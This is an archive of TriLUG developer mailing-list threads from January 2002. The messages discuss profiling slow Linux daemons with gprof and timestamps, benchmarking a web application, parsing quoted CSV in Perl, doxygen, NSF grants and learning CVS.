MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Performance Profiler Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Any suggestions on a. a Linux performance profiler? b. how to identify where things are getting gummed up? I need to figure out why a 21 byte message is taking .9s and more to cross 2 Linux boxes as follows: box1 [ in 10Mb Ether-daemon1-daemon2-daemon3-out 56kb V.35 ]--> box2 [ in 56kb V.35-daemon3-daemon2-daemon1-out 10Mb ] It's using Unix protocol datagram socket IPC between the daemons. box1 is a 700Mhz Duron with 256MB RAM box2 is a 75Mhz P5 with 64MB RAM (how much slow down here?) I'm thinking about: a. moving to shared memory IPC b. using pthreads instead of multiple daemons, or going to monlithic program structure c. identifying unnecessary programs that can be disabled But before I do any of those ideas I'd like to have a better understanding of where the slows downs are actually occuring. Hmmm. As I write this I am getting some ideas: a. Sprinkle in time stamps writes to syslog or some shared memory area b. Use Ethereal on the "lo" interface Any help would be appreciated. Mike From bhu5nji@yahoo.com Tue Jan 8 12:40:42 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA15830 for ; Tue, 8 Jan 2002 12:40:41 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 16O0Gz-0000dq-00; Tue, 08 Jan 2002 12:42:53 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller/bhu5nji" To: alko@nc.rr.com, dev@trilug.org Subject: Re: [Dev] Performance Profiler Date: Tue, 8 Jan 2002 00:41:01 -0500 X-Mailer: KMail [version 1.3.1] References: <02010812324301.00809@feistycat> In-Reply-To: <02010812324301.00809@feistycat> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 08 January 2002 12:32 pm, you wrote: > > b. > > ping will give round trip times. Are you sending the packets over a PPP > connection via modem? Typical ping's on a modem connection are usually > several hundred milliseconds. The V.35 is SS7 on DDS 56kb/s - definitely not pingable. > > I've used snoop on Sun boxen and seem to remember getting timestamps from > it. tcpdump may be able to retrieve same. I'll check snoop. Ethereal (which I am using) is a glorified tcpdump (I think). I'm thinking more along the lines of profiling what's going on inside the box. Thanks for the hints Mike From brent@mutt.rcfile.org Tue Jan 8 16:19:31 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA17436 for ; Tue, 8 Jan 2002 16:19:21 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g08LLZU15509 for ; Tue, 8 Jan 2002 16:21:35 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g08LLWe30711 for dev@trilug.org; Tue, 8 Jan 2002 16:21:32 -0500 (EST) (envelope-from brent) Date: Tue, 8 Jan 2002 16:21:32 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Performance Profiler Message-ID: <20020108212132.GA29717@rcfile.org> References: <02010812324301.00809@feistycat> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.24i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-PRERELEASE #4: Fri Jan 4 16:37:03 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-01-08 00:41] M. Mueller/bhu5nji said: | On Tuesday 08 January 2002 12:32 pm, you wrote: | > > b. | > | > ping will give round trip times. Are you sending the packets over a PPP | > connection via modem? Typical ping's on a modem connection are usually | > several hundred milliseconds. | | The V.35 is SS7 on DDS 56kb/s - definitely not pingable. | | > | > I've used snoop on Sun boxen and seem to remember getting timestamps from | > it. tcpdump may be able to retrieve same. | | I'll check snoop. Ethereal (which I am using) is a glorified tcpdump (I | think). | | I'm thinking more along the lines of profiling what's going on inside the box. compile your prog with 'gcc -pg ...'. When you run the prog, a gmon.out file will be created, which can processed by gprof to list called routines, and time spent in routines. $ gcc -g -pg src.c -o exe $ ./exe $ gprof exe gmon.out hth. b | Thanks for the hints | Mike | _______________________________________________ | Dev mailing list | Dev@trilug.org | http://www.trilug.org/mailman/listinfo/dev -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From jonc@nc.rr.com Tue Jan 8 20:33:44 2002 Received: from mercury.srvr.haht.com (firewall.haht.com [216.54.164.3]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA18805 for ; Tue, 8 Jan 2002 20:33:44 -0500 Received: from salsa.haht.com (salsa.haht.com [216.54.164.5]) by mercury.srvr.haht.com (8.9.3/8.9.3) with ESMTP id UAA06950 for ; Tue, 8 Jan 2002 20:35:26 -0500 Received: from anncons.nc.rr.com (firewall.haht.com [216.54.164.3]) by salsa.haht.com (8.9.3/8.9.3) with SMTP id UAA27305 for ; Tue, 8 Jan 2002 20:35:28 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Jon Carnes Organization: AnnCons To: dev@trilug.org Subject: Re: [Dev] Performance Profiler Date: Tue, 8 Jan 2002 20:35:29 -0500 X-Mailer: KMail [version 1.2] References: In-Reply-To: MIME-Version: 1.0 Message-Id: <02010820352900.01079@anncons.nc.rr.com> Content-Transfer-Encoding: 8bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org X-Reply-To: jonc@nc.rr.com List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > box2 is a 75Mhz P5 with 64MB RAM (how much slow down here?) I do the same type of thing with VPN connections, 75Mhz is not nearly fast enough especially with three processes manipulating the packets on each end. From bhu5nji@yahoo.com Wed Jan 9 04:21:45 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id EAA21159 for ; Wed, 9 Jan 2002 04:21:45 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16OExm-0000Uf-00 for dev@trilug.org; Wed, 09 Jan 2002 04:24:02 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller/bhu5nji" To: dev@trilug.org Subject: Re: [Dev] Performance Profiler Date: Tue, 8 Jan 2002 16:22:05 -0500 X-Mailer: KMail [version 1.3.1] References: <02010812324301.00809@feistycat> <20020108212132.GA29717@rcfile.org> In-Reply-To: <20020108212132.GA29717@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > compile your prog with 'gcc -pg ...'. When you run the prog, a > gmon.out file will be created, which can processed by gprof to list > called routines, and time spent in routines. > > $ gcc -g -pg src.c -o exe > $ ./exe > $ gprof exe gmon.out Cool. I tried it but it busted on a "select". I will play with this more in the future. I may have worked around the problem. I have a proprietary wrapper around datagrams as they pass through the box. I added 6 new fields to the wrapper as follows: struct timeval timeStampA struct timeval timeStampB struct timeval timeStampC struct timeval timeStampD struct timeval timeStampE struct timeval timeStampF I loaded the fields with gettimeofday() after the recvfrom on entry and before the sendto on exit from each of the 3 daemons n my app. I found the D to E transfer in one direction was taking about 1/2 minute consistently. After substituting code from a "fast" daemon into the "slow" daemon and gnashing my teeth in frustration for a while I noticed that the fast daemon had a blocking select (wait-forever). The "slow" daemon used a polling select (no-wait). I changed the slow daemon select to wait for 10000 usecs. Voila. Transfer time overall goes down dramatically. I went through the entire code body and changed all polling selects to wait for 10000 usecs selects. The change is dramatic. Before the change, using LOTs of syslogging, I got cross 2-box delays of about 30 secs and with almost no syslogging I got .9 sec delays. With the new change I get delays of .2-.02 secs with LOTs of syslogging. These numbers are much more reasonable. (Great sigh of relief.) This result does not seem consistent with how I read Stevens explanation of no-wait select in section 5.6 of Unix Network Programming Vol 1. I am using a 2.2.14 kernel. Mike From acoliver@nc.rr.com Thu Jan 10 12:21:58 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA30204 for ; Thu, 10 Jan 2002 12:21:58 -0500 Received: from linux2.superlinksoftware.com ([66.57.13.157]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 10 Jan 2002 12:24:15 -0500 From: "Andrew C. Oliver" To: dev@trilug.org In-Reply-To: <200201101711.MAA30165@fatalpha.trilug.org> References: <200201101711.MAA30165@fatalpha.trilug.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.0.99+cvs.2001.12.18.08.57 (Preview Release) Date: 10 Jan 2002 12:16:24 -0500 Message-Id: <1010682985.8391.16.camel@linux2.superlinksoftware.com> Mime-Version: 1.0 Subject: [Dev] Benchmarking your web app Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi all, I have a question. What method do you use to benchmark your webapps? I'm currently using "ab" (apache benchmark) but I'd like to be able to do comparative analysis. Specifically, I'm testing POI::HSSF (big shock) Serializer in Cocoon. I'd like comparative numbers for the HSSF:Serializer against the HTML serializer. The numbers "ab" gives me are not shall we say believable. One moment it says the HSSF::Serializer (Excel file format) is FASTER then the HTML Serializer. Which I find very doubtful (no offense to our serializer)...sometimes it doesn't. The numbers vary greatly. Now I believe the thought that the numbers should very some->a lot but a rational test based on controlled parameters should give me some idea of a speed benchmark with some level of variance. The idea is to use this as a general point of reference for proving future builds/releases and concepts. While we do this easily with the APIs via junit tests and other "known" situations, this doesn't help us much with the serializer in a concurrent light/medium and heavy load situation. I'm not getting paid for this so neither should my benchmarking tool ;-). Thanks, Andy -- www.superlinksoftware.com www.sourceforge.net/projects/poi - port of Excel format to java http://developer.java.sun.com/developer/bugParade/bugs/4487555.html - fix java generics! The avalanche has already started. It is too late for the pebbles to vote. -Ambassador Kosh From bhu5nji@yahoo.com Sat Jan 12 19:23:28 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA13842 for ; Sat, 12 Jan 2002 19:23:28 -0500 Received: from user-2ivf8s1.dialup.mindspring.com ([165.247.163.129] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16PYT3-0003Y6-00 for dev@trilug.org; Sat, 12 Jan 2002 19:25:45 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Date: Sat, 12 Jan 2002 07:23:36 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] doxygen Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Anyone ever use doxygen? Any hints on how to make it display the structure of components that make up a complex program? Thanks, Mike From jeremyp@pobox.com Mon Jan 14 13:06:11 2002 Received: from smtp.ntrnet.net (smtp.ntrnet.net [206.66.160.32]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31155 for ; Mon, 14 Jan 2002 13:06:11 -0500 Received: from shell.ntrnet.net (shell.ntrnet.net [206.66.160.7]) by smtp.ntrnet.net (Postfix) with ESMTP id 0C50F1F006 for ; Mon, 14 Jan 2002 13:09:42 -0500 (EST) Date: Mon, 14 Jan 2002 13:09:18 -0500 (EST) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: dev@trilug.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] perl: how to parse quoted comma separated values? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi TriLug dev types, Hope this question is appropriate for this forum. I'm not a real developer-type, but I use scripting to help various system admin tasks. For a particular task, I need to parse in records from a CSV (comma-separated values) file using perl. The data files have records like this: "King, Jr","Martin","Luther","etc" "Washington","George",,"foo" I'd like to each record into an array, getting rid of the double-quotes and the ',' delimiters in the process. Obviously a simple statement like this won't work: @fields = split(','); because of the fields with commas in the data ("King, Jr") I can't do things that match on '","' because that wouldn't apply to the empty fields or the first and last fields. Anyone done simple parsing like this before? Is there something glaringly obvious that I'm missing? I poked around on CPAN and there are a bunch of CSV routines, including even a DBD driver, but that seems way overkill. Maybe I should just delve into using one of those modules. Thanks for any advice, Jeremy Portzer Durham Tech Community College From minter@bunning.skiltech.com Mon Jan 14 13:12:23 2002 Received: from bunning.skiltech.com (bunning.skiltech.com [216.235.79.240]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31206 for ; Mon, 14 Jan 2002 13:12:15 -0500 Received: (from root@localhost) by bunning.skiltech.com (8.11.6/8.11.6) id g0EIERf19587 for dev@trilug.org; Mon, 14 Jan 2002 13:14:27 -0500 (EST) (envelope-from minter) Received: (from minter@localhost) by bunning.skiltech.com (8.11.6/8.11.6) id g0EIEPg19579; Mon, 14 Jan 2002 13:14:25 -0500 (EST) (envelope-from minter) Date: Mon, 14 Jan 2002 13:14:24 -0500 (EST) From: "H. Wade Minter" X-X-Sender: minter@bunning.skiltech.com To: dev@trilug.org Subject: Re: [Dev] perl: how to parse quoted comma separated values? In-Reply-To: Message-ID: <20020114131226.V19295-100000@bunning.skiltech.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by AMaViS perl-11 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Mon, 14 Jan 2002, Jeremy P wrote: > Hope this question is appropriate for this forum. I'm not a real > developer-type, but I use scripting to help various system admin tasks. > For a particular task, I need to parse in records from a CSV > (comma-separated values) file using perl. The data files have records > like this: I used a regexp on a hacked-together thing I did one time - I knew exactly how many fields were coming in, etc. It looked something like: while ($line = ) { chomp ($line); $line =~ /"(.*?)"\s+"(.*?)"\s+"(.*?)"/; $firstfield = $1; $secondfield = $2; .... } I'm sure there's a better way, though. --Wade From Dana.Smith@altroutestudios.com Mon Jan 14 13:58:54 2002 Received: from merc95.na.sas.com (merc95.na.sas.com [149.173.6.5]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31446 for ; Mon, 14 Jan 2002 13:58:54 -0500 Received: from merc95.na.sas.com ([127.0.0.1]) by merc95.na.sas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id XVQXS02F; Mon, 14 Jan 2002 14:01:01 -0500 Received: from 10.19.11.6 by merc95.na.sas.com (InterScan E-Mail VirusWall NT); Mon, 14 Jan 2002 14:01:01 -0500 Received: by MERC92.na.sas.com with Internet Mail Service (5.5.2653.19) id ; Mon, 14 Jan 2002 14:01:00 -0500 Message-ID: From: Dana Smith To: "'dev@trilug.org'" Subject: RE: [Dev] perl: how to parse quoted comma separated values? Date: Mon, 14 Jan 2002 14:00:54 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: 1) According to Perl Cookbook, there's Text::Parsewords. 2) On google I found Text::CSV 3) The book "Mastering Regular Expressions" contains this magic: sub parse_csv { my $text = shift; # record containing comma-separated values my @new = (); # the first part groups the phrase inside the quotes. # see explanation of this pattern in MRE push(@new, $+) while $text =~ m{"([^\"\\]*(?:\\.[^\"\\]*)*)",? | ([^,]+),? | ,}gx; push(@new, undef) if substr($text, -1,1) eq ','; return @new; # list of values that were comma-separated } > Dana L. Smith > Alternate Route Studios > (919) 531-4116 > Dana.Smith@altroutestudios.com > http://www.altroutestudios.com > -----Original Message----- From: Jeremy P [mailto:jeremyp@pobox.com] Sent: Monday, January 14, 2002 1:09 PM To: dev@trilug.org Subject: [Dev] perl: how to parse quoted comma separated values? Hi TriLug dev types, Hope this question is appropriate for this forum. I'm not a real developer-type, but I use scripting to help various system admin tasks. For a particular task, I need to parse in records from a CSV (comma-separated values) file using perl. The data files have records like this: "King, Jr","Martin","Luther","etc" "Washington","George",,"foo" I'd like to each record into an array, getting rid of the double-quotes and the ',' delimiters in the process. Obviously a simple statement like this won't work: @fields = split(','); because of the fields with commas in the data ("King, Jr") I can't do things that match on '","' because that wouldn't apply to the empty fields or the first and last fields. Anyone done simple parsing like this before? Is there something glaringly obvious that I'm missing? I poked around on CPAN and there are a bunch of CSV routines, including even a DBD driver, but that seems way overkill. Maybe I should just delve into using one of those modules. Thanks for any advice, Jeremy Portzer Durham Tech Community College _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From jeremyp@pobox.com Mon Jan 14 14:05:17 2002 Received: from smtp.ntrnet.net (smtp.ntrnet.net [206.66.160.32]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA31530 for ; Mon, 14 Jan 2002 14:05:16 -0500 Received: from shell.ntrnet.net (shell.ntrnet.net [206.66.160.7]) by smtp.ntrnet.net (Postfix) with ESMTP id CD04D1F006 for ; Mon, 14 Jan 2002 14:08:47 -0500 (EST) Date: Mon, 14 Jan 2002 14:08:24 -0500 (EST) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: "'dev@trilug.org'" Subject: RE: [Dev] perl: how to parse quoted comma separated values? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Mon, 14 Jan 2002, Dana Smith wrote: > 2) On google I found Text::CSV Thanks for the tip (thanks to Greg too). This is what I ended up using... it's really quite a simple module and works well for my purpose. > 3) The book "Mastering Regular Expressions" contains this magic: > > sub parse_csv { > my $text = shift; # record containing comma-separated values > my @new = (); > > # the first part groups the phrase inside the quotes. > # see explanation of this pattern in MRE > push(@new, $+) while $text =~ m{"([^\"\\]*(?:\\.[^\"\\]*)*)",? | ([^,]+),? | ,}gx; > push(@new, undef) if substr($text, -1,1) eq ','; > return @new; # list of values that were comma-separated Ugh. I promise I'm not really "afraid" of regular expressions, but it stuff like this sure is hard to read! --Jeremy From jonathan.rippy@interpath.net Mon Jan 14 14:23:20 2002 Received: from icmail03a.interpath.net (icmail03a.interpath.net [216.48.1.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA31619 for ; Mon, 14 Jan 2002 14:23:20 -0500 Received: from isfire02 ([216.48.15.252]) by icmail03a.interpath.net (Netscape Messaging Server 4.05) with SMTP id GPY0LT00.91J for ; Mon, 14 Jan 2002 14:25:05 -0500 Message-ID: <3C432F90.6D3E9BF@interpath.net> Date: Mon, 14 Jan 2002 14:20:48 -0500 From: Jonathan Rippy Organization: Interpath Communications, Inc. X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] perl: how to parse quoted comma separated values? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > Ugh. I promise I'm not really "afraid" of regular expressions, but it > stuff like this sure is hard to read! Both regular expressions and Perl are cool... unfortunatly, the two combined can quickly degenerate into line noise. :) Still, you have to love them for their raw power. There's a way you can comment the regular expresion as you are writing it; I tend to use that myself. I can't recall the syntax right now but it's very useful. No other real point to this message I guess. And now for something completely different... -- jonathan rippy From bhu5nji@yahoo.com Mon Jan 14 19:32:08 2002 Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA01043 for ; Mon, 14 Jan 2002 19:32:07 -0500 Received: from user-uivf368.dsl.mindspring.com ([165.247.140.200] helo=there) by maynard.mail.mindspring.net with smtp (Exim 3.33 #1) id 16QHYV-0001nI-00 for dev@trilug.org; Mon, 14 Jan 2002 19:34:23 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller/bhu5nji" To: dev@trilug.org Subject: Re: [Dev] perl: how to parse quoted comma separated values? Date: Mon, 14 Jan 2002 07:32:01 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > For a particular task, I need to parse in records from a CSV > (comma-separated values) file using perl. I've been getting some phenomenal productivity using Python. I had to make a choice between PERL and Python a month ago. From a Python perspective you can get things like this: http://object-craft.com.au/projects/csv/ Mike From brent@mutt.rcfile.org Wed Jan 16 22:33:01 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA16872 for ; Wed, 16 Jan 2002 22:33:01 -0500 Received: from mutt.rcfile.org (root@rdu57-26-120.nc.rr.com [66.57.26.120]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g0H3ZAR22100 for ; Wed, 16 Jan 2002 22:35:10 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g0H3ZLQ37304 for dev@trilug.org; Wed, 16 Jan 2002 22:35:21 -0500 (EST) (envelope-from brent) Date: Wed, 16 Jan 2002 22:35:21 -0500 From: Brent Verner To: dev@trilug.org Message-ID: <20020116223521.A37233@rcfile.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.19i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-RC #7: Wed Jan 16 03:32:22 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Subject: [Dev] seeking NSF grant application advice/info Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi, Do any of you out there have any (preferably positive) experience applying for NSF grants? Yes, I'm trying to see if I can get the NSF to fund some good 'ol open source code-slinging ;-) Thanks. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Thu Jan 17 07:39:45 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id HAA19274 for ; Thu, 17 Jan 2002 07:39:44 -0500 Received: from user-uivf368.dsl.mindspring.com ([165.247.140.200] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16RBri-00052n-00 for dev@trilug.org; Thu, 17 Jan 2002 07:41:58 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller/bhu5nji" To: dev@trilug.org Subject: Re: [Dev] seeking NSF grant application advice/info Date: Wed, 16 Jan 2002 19:39:22 -0500 X-Mailer: KMail [version 1.3.1] References: <20020116223521.A37233@rcfile.org> In-Reply-To: <20020116223521.A37233@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: The university boys and girls should be able to give you advice. I worked on project in college that was in part supported by NSF funding. One question I have right off the bat is about the reception one would get if they were not affiliated with a university. But that concern comes from knowing that NSF is run by the governement which is actually a division of Microsoft. I think it's a worthy use of my tax dollars. Good luck. I'm interested in hearing more about this venture. Mike On Wednesday 16 January 2002 10:35 pm, you wrote: > Hi, > > Do any of you out there have any (preferably positive) experience > applying for NSF grants? > > Yes, I'm trying to see if I can get the NSF to fund some good 'ol > open source code-slinging ;-) > > Thanks. > brent From bhu5nji@yahoo.com Thu Jan 17 07:40:59 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id HAA19306 for ; Thu, 17 Jan 2002 07:40:59 -0500 Received: from user-uivf368.dsl.mindspring.com ([165.247.140.200] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16RBsv-0006gD-00 for dev@trilug.org; Thu, 17 Jan 2002 07:43:13 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller/bhu5nji" To: dev@trilug.org Date: Wed, 16 Jan 2002 19:40:37 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Open Source and CVS Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: How do I go about learning the ways of open source development including the uses of CVS and Sourceforge? I am OK with RCS. Mike From ranger@befunk.com Thu Jan 17 08:00:45 2002 Received: from mail.scenespot.org (dsl092-217-051.nyc1.dsl.speakeasy.net [66.92.217.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA19458 for ; Thu, 17 Jan 2002 08:00:45 -0500 Received: from befunk.com (unknown [192.168.1.201]) by mail.scenespot.org (Postfix) with ESMTP id E68A6DCC083 for ; Thu, 17 Jan 2002 08:02:59 -0500 (EST) Message-ID: <3C46CB84.1010907@befunk.com> Date: Thu, 17 Jan 2002 08:03:00 -0500 From: Benjamin Reed Organization: DFT User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:0.9.7) Gecko/20011221 X-Accept-Language: en-us MIME-Version: 1.0 To: dev@trilug.org Subject: Re: [Dev] Open Source and CVS References: Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: M. Mueller/bhu5nji wrote: > How do I go about learning the ways of open source development including > the uses of CVS and Sourceforge? > > I am OK with RCS. The best resource for CVS is the CVS Book: http://cvsbook.red-bean.com/ The important technical bits on getting started with CVS and how to use it for everyday development are available in the free (online) version at 